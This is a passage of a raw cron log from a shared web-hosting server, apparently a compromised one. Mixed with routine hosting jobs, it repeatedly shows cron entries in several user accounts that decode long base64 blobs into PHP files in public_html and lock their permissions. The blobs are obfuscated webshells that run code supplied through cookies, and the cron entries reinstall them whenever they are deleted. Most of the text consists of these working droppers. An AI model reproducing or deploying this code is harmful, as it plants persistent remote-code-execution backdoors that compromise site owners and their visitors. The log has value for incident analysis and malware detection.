"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:07:01 medusa CROND[24492]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:07:01 medusa CROND[24493]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:07:01 medusa CROND[24494]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:07:01 medusa CROND[24497]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 18:07:01 medusa CROND[24498]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:07:01 medusa CROND[24499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:07:01 medusa CROND[24490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:07:01 medusa CROND[24501]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:07:01 medusa CROND[24502]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:08:01 medusa CROND[16676]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:08:01 medusa CROND[16678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:08:01 medusa CROND[16677]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:08:01 medusa CROND[16679]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:08:01 medusa CROND[16680]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:08:01 medusa CROND[16681]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 18:08:01 medusa CROND[16684]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:08:01 medusa CROND[16686]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:08:01 medusa CROND[16683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:08:01 medusa CROND[16691]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 18:08:01 medusa CROND[16693]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:08:01 medusa CROND[16694]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:08:01 medusa CROND[16695]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:08:01 medusa CROND[16731]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:09:01 medusa CROND[8529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:09:02 medusa CROND[8573]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:09:02 medusa CROND[8574]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:09:02 medusa CROND[8575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:09:02 medusa CROND[8576]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:09:02 medusa CROND[8577]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:09:02 medusa CROND[8581]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 18:09:02 medusa CROND[8580]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:09:02 medusa CROND[8583]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:09:02 medusa CROND[8584]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
